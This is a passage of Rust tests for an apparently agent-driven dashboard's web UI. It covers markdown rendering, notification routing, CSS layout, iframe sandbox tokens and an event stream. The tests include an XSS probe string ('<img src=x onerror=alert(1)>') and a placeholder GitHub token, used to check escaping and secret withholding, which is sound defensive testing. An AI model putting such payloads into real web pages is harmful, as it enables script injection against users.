20383                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20384        }, {"round": 2, "head": "h2", "reviews": []}]))
20385        .unwrap();
20386
20387        let v = serde_json::to_value(RunDetailView::of(
20388            state,
20389            false,
20390            crate::run::Liveness::Unknown,
20391            None,
20392            None,
20393            None,
20394        ))
20395        .unwrap();
20396
20397        let strong = |p: &str| {
20398            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20399            assert!(n.to_string().contains("strong"), "{p}: {n}");
20400        };
20401        strong("/advice_md/synthesis");
20402        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20403        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20404        strong("/advice_md/approaches/0");
20405        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20406        strong("/candidate_summaries_md/0");
20407        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20408        strong("/reviews_md/0/reviewers/0/summary");
20409        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20410        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20411        assert!(f[1].to_string().contains("strong"));
20412        strong("/reviews_md/0/reconsideration/0");
20413        strong("/reviews_md/0/fix/notes");
20414        strong("/reviews_md/0/fix/rejected/0");
20415        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20416        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20417        // The raw strings stay, and no schema moved.
20418        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20419        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20420    }
20421
20422    #[test]
20423    fn a_run_without_advice_has_no_advice_md() {
20424        let state = RunState::new(
20425            std::path::PathBuf::from("/repo"),
20426            "main".to_owned(),
20427            "abc".to_owned(),
20428            "x".to_owned(),
20429            crate::config::Config::default(),
20430        );
20431        let p = run_prose_md(&state);
20432        assert!(p.advice_md.is_none());
20433        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20434    }
20435
20436    #[test]
20437    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20438        let store = ask::Questions::at(PathBuf::from("unused"));
20439        let gt = crate::github_text::Withheld {
20440            title: false,
20441            body: true,
20442            categories: vec!["sensitive-data".into()],
20443        };
20444        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20445        let (detail, comparison) =
20446            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20447        let mut q = Question::new(
20448            "r".into(),
20449            "github-text".into(),
20450            "posting-gate".into(),
20451            "s".into(),
20452            detail,
20453            Vec::new(),
20454        );
20455        assert!(
20456            QuestionView::of(q.clone(), &store, None)
20457                .posting_view
20458                .is_none()
20459        );
20460        q.posting_comparison = Some(comparison);
20461        let view = QuestionView::of(q.clone(), &store, None);
20462        let field = &view.posting_view.unwrap().fields[0];
20463        assert_eq!(
20464            field
20465                .original
20466                .iter()
20467                .map(|f| f.text.as_str())
20468                .collect::<String>(),
20469            body
20470        );
20471        assert!(field.original[0].text.starts_with("<img"));
20472        let original_question: Question =
20473            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20474        assert_eq!(original_question, q);
20475        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20476            .original
20477            .start = 1;
20478        assert!(
20479            QuestionView::of(q.clone(), &store, None)
20480                .posting_view
20481                .is_none()
20482        );
20483        q.posting_comparison = original_question.posting_comparison;
20484        q.detail.push_str("extra context");
20485        assert!(
20486            QuestionView::of(q.clone(), &store, None)
20487                .posting_view
20488                .is_some()
20489        );
20490        q.detail.insert(0, 'x');
20491        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20492    }
20493
20494    #[test]
20495    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20496        let store = ask::Questions::at(PathBuf::from("unused"));
20497        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20498        let gt = crate::github_text::Withheld::from_check(
20499            &crate::github_text::check("fix: x", body),
20500            "fix: x",
20501            body,
20502        )
20503        .unwrap();
20504        let (detail, comparison) =
20505            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20506        let mut q = Question::new(
20507            "r".into(),
20508            "github-text".into(),
20509            "posting-gate".into(),
20510            "s".into(),
20511            detail,
20512            Vec::new(),
20513        );
20514        q.posting_comparison = Some(comparison);
20515        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20516        let field = &value["posting_view"]["fields"][0];
20517        let group = &field["replacement_group"];
20518        let triggers = group["triggers"].as_array().unwrap();
20519        assert_eq!(triggers.len(), 2);
20520        assert_ne!(triggers[0], triggers[1]);
20521        for id in triggers {
20522            assert!(
20523                field["original"]
20524                    .as_array()
20525                    .unwrap()
20526                    .iter()
20527                    .any(|f| &f["pair"] == id)
20528            );
20529            assert!(
20530                !field["changed"]
20531                    .as_array()
20532                    .unwrap()
20533                    .iter()
20534                    .any(|f| &f["pair"] == id)
20535            );
20536        }
20537        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20538            group["id"].as_u64().unwrap() as usize;
20539        assert!(
20540            QuestionView::of(q, &store, None).posting_view.is_none(),
20541            "group and trigger IDs cannot collide"
20542        );
20543    }
20544
20545    #[test]
20546    fn a_question_view_carries_markdown_for_each_thread_turn() {
20547        let home = TempDir::new().unwrap();
20548        let store = ask::Questions::at(home.path().join("questions"));
20549        let mut q = Question::new(
20550            "run".to_owned(),
20551            "implement".to_owned(),
20552            "impl-A".to_owned(),
20553            "which?".to_owned(),
20554            String::new(),
20555            Vec::new(),
20556        );
20557        q.say("plain words").unwrap();
20558        q.reply("use **this**", Vec::new()).unwrap();
20559        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20560        let bodies = &v["thread_bodies_md"];
20561        assert_eq!(bodies.as_array().unwrap().len(), 2);
20562        assert!(!bodies[0].to_string().contains("strong"));
20563        assert!(bodies[1].to_string().contains("strong"));
20564    }
20565
20566    #[test]
20567    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20568        let home = TempDir::new().unwrap();
20569        let store = ask::Questions::at(home.path().join("questions"));
20570        let mut q = Question::new(
20571            "run".to_owned(),
20572            "conduct".to_owned(),
20573            "conduct".to_owned(),
20574            "which?".to_owned(),
20575            String::new(),
20576            Vec::new(),
20577        );
20578        q.say("plain words").unwrap();
20579        q.thread.push(ask::Turn {
20580            who: ask::Who::Agent,
20581            body: "Settled as `merge`".to_owned(),
20582            at: jiff::Timestamp::now(),
20583            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20584        });
20585        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20586        let notes = &v["thread_notes_md"];
20587        assert_eq!(notes.as_array().unwrap().len(), 2);
20588        assert!(notes[0].is_null());
20589        let text = notes[1].to_string();
20590        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20591        assert!(APP_JS.contains("ask-turn-note"));
20592    }
20593
20594    #[test]
20595    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20596        // The land panel defers to `run.status` for merged, and labels a
20597        // recorded-open PR on any finished run (superseded, blocked, ...) as
20598        // last seen, never as live state.
20599        assert!(APP_JS.contains("function landView(run, raw) {"));
20600        assert!(
20601            APP_JS.contains(
20602                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20603            )
20604        );
20605        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20606        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20607        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20608        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20609    }
20610
20611    #[test]
20612    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20613        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20614        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20615        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20616        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20617    }
20618
20619    #[test]
20620    fn review_rounds_label_a_distinct_verified_head() {
20621        assert!(APP_JS.contains("round.verified_head"));
20622        assert!(APP_JS.contains("verified HEAD"));
20623        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20624    }
20625
20626    #[test]
20627    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20628        // A blocked task's chip and note must not fall back to a queued-like
20629        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20630        // itself by e11fc58 but never checked here.
20631        assert!(APP_JS.contains("blocked: { glyph:"));
20632        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20633
20634        // `blocked_by` mixes task ids and question ids in the same list, and
20635        // the client can only tell them apart by checking each id against
20636        // what it actually knows - never by guessing from the id's shape.
20637        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20638        assert!(
20639            APP_JS.contains(
20640                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20641            ),
20642            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20643        );
20644        // The classification must key off `status_str`, never off `blocked_by`
20645        // or `block_reason` merely being present - both can survive briefly
20646        // on a task a hold or a dead daemon just moved off `blocked`.
20647        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20648
20649        // A question a task is blocked on gets its own node in the same
20650        // dependency graph, not just a task-shaped node with nothing known
20651        // about it.
20652        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20653        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20654        assert!(
20655            APP_JS.contains("location.hash = \"#/questions\";"),
20656            "a question node must jump to the Questions screen, not pretend to be a task"
20657        );
20658
20659        // `Task::answers` - decisions already made - are shown as a record on
20660        // the card, the same disclosure style as the full instruction.
20661        assert!(APP_JS.contains("Resolved questions"));
20662        assert!(APP_JS.contains("r.answersList.append("));
20663        assert!(APP_CSS.contains(".task-answers"));
20664        {
20665            let start = APP_JS
20666                .find("function updateTalkTaskRow")
20667                .expect("updateTalkTaskRow");
20668            let body = &APP_JS[start..];
20669            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20670            assert!(
20671                body.contains(
20672                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20673                ),
20674                "a chat-filed task row must link to the task page"
20675            );
20676            assert!(
20677                !body.contains("#/runs/") && !body.contains("#/queue/"),
20678                "the row must not branch to a run or the queue card"
20679            );
20680            assert!(APP_CSS.contains(".talk-task-link"));
20681        }
20682    }
20683
20684    #[test]
20685    fn a_task_notification_links_to_the_task_page() {
20686        // A task notice opens the task detail page, not the Backlog card.
20687        let start = APP_JS
20688            .find("function noticeLink(")
20689            .expect("noticeLink exists");
20690        let body = &APP_JS[start..];
20691        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20692        assert!(
20693            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20694            "a task notice's link must target the task page"
20695        );
20696        assert!(
20697            !body.contains("#/queue/"),
20698            "regression: the task link must not go back to the Backlog route"
20699        );
20700        assert!(
20701            APP_JS.contains(
20702                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20703            ),
20704            "`#/tasks/<id>` must parse into the task route"
20705        );
20706
20707        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20708        assert!(
20709            APP_JS.contains(
20710                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20711            ),
20712            "`#/queue/<id>` must parse into a route carrying that id"
20713        );
20714
20715        // And the Backlog view has to actually land on the card once it can
20716        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20717        // so a focus set before the queue has loaded is retried once it has.
20718        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20719        assert!(APP_JS.contains("function consumeQueueFocus()"));
20720        assert!(APP_JS.contains("jumpToTask(id)"));
20721    }
20722
20723    #[test]
20724    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20725        let start = APP_JS
20726            .find("function noticeCoveredBy(")
20727            .expect("noticeCoveredBy exists");
20728        let body = &APP_JS[start..];
20729        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20730
20731        // Historical associations are informational, even for open questions.
20732        assert!(body.contains("Associated question ${short}"));
20733        assert!(!body.contains("el(\"a\""));
20734
20735        // A resolved question displays status rather than an actionable link
20736        assert!(body.contains("(resolved)"));
20737        assert!(body.contains("(closed)"));
20738
20739        let start = APP_JS
20740            .find("function renderNotifications()")
20741            .expect("renderNotifications exists");
20742        let body = &APP_JS[start..];
20743        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20744
20745        // Only a server-resolved answerable question supplies a response link.
20746        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20747        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20748        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20749        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20750    }
20751
20752    /// Chat rows are two lines at every width: the title alone, then the
20753    /// shrinkable secondary info.
20754    #[test]
20755    fn chat_rows_put_the_title_alone_on_the_first_line() {
20756        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20757        assert!(APP_CSS.contains(
20758            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20759        ));
20760        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20761        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20762    }
20763
20764    #[test]
20765    fn run_rows_put_the_title_alone_on_the_first_line() {
20766        assert!(
20767            APP_CSS.contains(
20768                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20769            )
20770        );
20771        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20772        assert!(APP_JS.contains("class: \"card run-card\""));
20773        assert!(APP_JS.contains("class: \"repo run-id\""));
20774    }
20775
20776    /// Wide screens get a master/detail layout built from the views a phone
20777    /// drills into. These are string assertions: they pin the contract between
20778    /// the three assets, not how it looks.
20779    #[test]
20780    fn wide_screens_show_list_and_preview_side_by_side() {
20781        // One breakpoint, spelled the same in the script and the stylesheet.
20782        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20783        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20784        assert!(APP_CSS.contains("main[data-split]"));
20785        assert!(APP_CSS.contains("body[data-split]"));
20786
20787        // The route -> panes table, and a narrow screen opting out of it.
20788        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20789        assert!(
20790            APP_JS.contains(
20791                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20792            )
20793        );
20794        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20795        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20796        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20797
20798        // Selection is derived from the route, and only ever paints a row.
20799        assert!(APP_JS.contains("function markSelected() {"));
20800        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20801        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20802        // The dense row must override the stacked card the 720px block sets up.
20803        assert!(
20804            APP_CSS.contains(
20805                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20806            )
20807        );
20808
20809        // Independent scrolling: the page stops scrolling, each pane does.
20810        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20811        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20812        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20813        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20814
20815        // A refresh must never navigate: the loaders still check that their
20816        // subject is the one on screen, and crossing the breakpoint only
20817        // re-reads the hash.
20818        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20819        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20820        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20821        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20822
20823        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20824        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20825    }
20826
20827    #[test]
20828    fn panel_sandbox_carries_exactly_popups() {
20829        let needle = "sandbox: \"";
20830        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20831        assert_eq!(
20832            matches.len(),
20833            1,
20834            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20835        );
20836        let start = matches[0].0 + needle.len();
20837        let end = APP_JS[start..]
20838            .find('"')
20839            .expect("sandbox attribute value must be terminated by a closing quote");
20840        let val = &APP_JS[start..start + end];
20841        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20842        let expected: std::collections::BTreeSet<&str> =
20843            ["allow-popups", "allow-popups-to-escape-sandbox"]
20844                .into_iter()
20845                .collect();
20846        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20847        assert!(
20848            !tokens.contains("allow-scripts"),
20849            "allow-scripts must never be present in sandbox"
20850        );
20851        assert!(
20852            !tokens.contains("allow-same-origin"),
20853            "allow-same-origin must never be present in sandbox"
20854        );
20855    }
20856
20857    #[test]
20858    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20859        // consumeQueueFocus() clears an active Backlog search before it can
20860        // scroll to the target card (the sections list is hidden while a
20861        // search is showing), by recursing back into renderQueue(). The
20862        // fixer's first cut nulled state.queueFocus before that recursive
20863        // call, so the second pass saw nothing to jump to and the jump was
20864        // silently dropped whenever a notification's link was opened with a
20865        // stale search still active. state.queueFocus must only be cleared
20866        // right before jumpToTask() actually runs.
20867        assert!(
20868            APP_JS.contains(
20869                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20870            ),
20871            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20872             recursive renderQueue() call has nothing left to jump to"
20873        );
20874        assert!(
20875            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20876            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20877             arrives later still gets it"
20878        );
20879        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20880        assert!(APP_JS.contains("is not in the current Backlog."));
20881        assert!(APP_JS.contains("li.card[data-task-id=\""));
20882        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20883        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20884        assert!(APP_CSS.contains(".card-permalink"));
20885        assert!(APP_CSS.contains(".queue-focus-status"));
20886        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20887    }
20888
20889    #[test]
20890    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20891        // The task's own repro: only the link text inside .notice-meta was
20892        // clickable, so a tap on the message, the timestamp, or the card's
20893        // padding did nothing - on a phone that reads as "the card doesn't
20894        // work" even though the tiny link inside it did. Mark read / Dismiss
20895        // must keep working independently of this: `.closest("a, button")`
20896        // is what lets a tap that actually lands on those elements fall
20897        // through instead of being hijacked into a navigation.
20898        assert!(
20899            APP_JS.contains(
20900                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20901            ),
20902            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20903        );
20904    }
20905
20906    #[test]
20907    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20908        assert!(
20909            APP_JS.contains("round.verified_head !== round.head"),
20910            "a round that verified an earlier commit must be visibly distinct from one that \
20911             verified the head reviewers are looking at now"
20912        );
20913        assert!(
20914            APP_JS.contains("round.verified_at"),
20915            "when a check ran must be on the wire, not just which commit"
20916        );
20917        assert!(
20918            APP_JS.contains("resource_blocked"),
20919            "a command magi never got to run (shared build cache contention) must not render \
20920             the same as a command that ran and failed"
20921        );
20922    }
20923
20924    #[test]
20925    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20926        // Every KPI tile but Total runs and Completion names an exact
20927        // RunStatus and hands it to openRunsFiltered(), which is what wires
20928        // the click into state.runsFilter.status (matchesFilter's own
20929        // status check) rather than the coarser runsStateFilter chips. Each
20930        // status literal here must be one of the strings runSection() (and
20931        // isStale()) actually compare a run's own `status` field against -
20932        // a status this dashboard invented would filter to nothing.
20933        assert!(
20934            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20935            "every KPI tile built through statusTile() must route its click through \
20936             openRunsFiltered, the single place that sets the Runs filter"
20937        );
20938        for (label, status) in [
20939            ("Merged", "merged"),
20940            ("Ready", "ready"),
20941            ("Blocked", "blocked"),
20942            ("Stalled", "stalled"),
20943        ] {
20944            let call = format!("statusTile(\"{label}\", t.{status}, ");
20945            assert!(
20946                APP_JS.contains(&call),
20947                "expected the {label} KPI tile built via {call}..."
20948            );
20949            assert!(
20950                APP_JS.contains(&format!("status === \"{status}\"")),
20951                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20952                 compare a run against, not one invented only for the stats tile"
20953            );
20954        }
20955        assert!(
20956            APP_JS.contains("function openRunsFiltered(status)"),
20957            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20958        );
20959        assert!(
20960            APP_JS.contains(
20961                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20962            ),
20963            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20964        );
20965        // applyRoute() only flips which view is visible for a plain `#runs`
20966        // hash - it does not itself redraw the list (see applyRoute's own
20967        // handling below) - so openRunsFiltered must call renderRuns()
20968        // itself, and must call applyRoute() too so the view flips even
20969        // when the hash string doesn't change (the operator may already be
20970        // on the Runs view when a tile is tapped, which fires no
20971        // hashchange event at all).
20972        assert!(
20973            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20974            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20975             hashchange event that may never fire"
20976        );
20977    }
20978
20979    #[test]
20980    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20981        // A stats tile can leave state.runsFilter.status set to something
20982        // done-by-construction (e.g. "merged") - picking "Active" afterward
20983        // must drop it the same way an incompatible tree section is already
20984        // dropped, or the Runs list renders permanently empty with no way
20985        // for the operator to tell why.
20986        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20987        assert!(
20988            APP_JS.contains(
20989                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20990            ),
20991            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20992             guard for an incompatible tree section"
20993        );
20994    }
20995
20996    #[test]
20997    fn every_stats_queue_tile_names_a_real_queue_section() {
20998        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20999        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21000        // (consumeQueueSectionFocus finds no matching <details> and drops
21001        // the focus) rather than fail loudly, so pin every key against the
21002        // section list it has to resolve against.
21003        assert!(
21004            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21005            "every queue tile built through sectionTile() must route its click through \
21006             openQueueSectionFocus"
21007        );
21008        for key in ["upnext", "running", "done", "held", "blocked"] {
21009            assert!(
21010                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21011                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21012            );
21013        }
21014        // Queued and Failed intentionally both resolve to "upnext" - the
21015        // same section queueSection() itself files them under - rather than
21016        // getting a section each.
21017        for line in [
21018            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21019            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21020            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21021            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21022            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21023            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21024        ] {
21025            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21026        }
21027    }
21028
21029    #[test]
21030    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21031        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21032        // above for the section-focus channel a stats queue tile drives:
21033        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21034        // through the stale-search-clear recursion into renderQueue(), and
21035        // clear it only once revealQueueSection() is actually about to run -
21036        // the same trap that once silently dropped a task-focus jump.
21037        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21038        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21039        assert!(APP_JS.contains("function revealQueueSection(details)"));
21040        assert!(
21041            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21042            "renderQueue() must consume both focus channels on every pass"
21043        );
21044        assert!(
21045            APP_JS.contains(
21046                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21047            ),
21048            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21049             the recursive renderQueue() call has nothing left to reveal"
21050        );
21051        assert!(
21052            APP_JS.contains(
21053                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21054            ),
21055            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21056        );
21057        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21058        // task-focus form of the hash - a plain `#queue` navigation only
21059        // flips which view is visible. openQueueSectionFocus() must
21060        // therefore call renderQueue() itself, and applyRoute() too so the
21061        // view flips even when the hash doesn't change (the Backlog may
21062        // already be open when a tile is tapped, firing no hashchange
21063        // event at all).
21064        assert!(
21065            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21066            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21067             hashchange event that may never fire"
21068        );
21069    }
21070
21071    #[tokio::test]
21072    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21073        let f = Fixture::start().await;
21074
21075        let mut socket = tokio::net::TcpStream::connect(f.addr)
21076            .await
21077            .expect("connect");
21078        socket
21079            .write_all(
21080                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21081            )
21082            .await
21083            .expect("write request");
21084
21085        // Read until the first event arrives rather than to end of stream: the
21086        // stream is endless by design, which is the point of the route.
21087        let mut seen = String::new();
21088        let mut buf = [0u8; 1024];
21089        while !seen.contains("event: change") {
21090            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21091                .await
21092                .expect("the stream must speak within five seconds")
21093                .expect("read");
21094            assert!(read > 0, "the server closed the change stream: {seen}");
21095            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21096        }
21097
21098        assert!(
21099            seen.to_lowercase()
21100                .contains("content-type: text/event-stream"),
21101            "the browser only reconnects automatically for a real SSE stream: {seen}"
21102        );
21103        let data = seen
21104            .lines()
21105            .find_map(|l| l.strip_prefix("data:"))
21106            .expect("a data line");
21107        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21108        assert!(
21109            payload["queue_rev"].is_u64()
21110                && payload["runs_rev"].is_u64()
21111                && payload["questions_rev"].is_u64()
21112                && payload["talks_rev"].is_u64()
21113                && payload["notifications_rev"].is_u64()
21114                && payload["loop_rev"].is_u64(),
21115            "the client needs one revision per store to know what to refetch, \
21116             and `talks_rev` is the only notification a standing talk gets - a \
21117             phone whose radio slept through a turn learns about it here, as \
21118             does one whose operator started the loop from another device: \
21119             {payload}"
21120        );
21121
21122        // The front end re-polls health on a timer and on wake, and takes the
21123        // revisions from that answer whenever the stream is not up. So health
21124        // has to carry every key the stream carries: a phone on a link that
21125        // will not hold an SSE connection is exactly the phone that must still
21126        // notice a question, and a missing key there is not a 500 but a UI
21127        // that quietly stops updating.
21128        let health = f.get("/api/health").await.json();
21129        for key in [
21130            "queue_rev",
21131            "runs_rev",
21132            "questions_rev",
21133            "talks_rev",
21134            "notifications_rev",
21135            "loop_rev",
21136        ] {
21137            assert!(
21138                health[key].is_u64(),
21139                "health is the change stream's fallback and is missing `{key}`: {health}"
21140            );
21141        }
21142    }
21143
21144    #[tokio::test]
21145    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21146        let f = Fixture::start().await;
21147        let before = f.get("/api/health").await.json()["talks_rev"]
21148            .as_u64()
21149            .expect("talks_rev");
21150
21151        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21152        std::thread::sleep(Duration::from_millis(10));
21153        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21154        on_disk.turns.push(crate::talk::Turn {
21155            sender: None,
21156            breaks: Some(Vec::new()),
21157            messages: Vec::new(),
21158            posted_by: None,
21159            who: crate::talk::Who::Operator,
21160            body: "a new turn".to_owned(),
21161            at: Timestamp::now(),
21162            attachments: Vec::new(),
21163            usage: None,
21164        });
21165        f.talks().put(&mut on_disk).expect("record a turn");
21166
21167        let after = tokio::time::timeout(Duration::from_secs(5), async {
21168            loop {
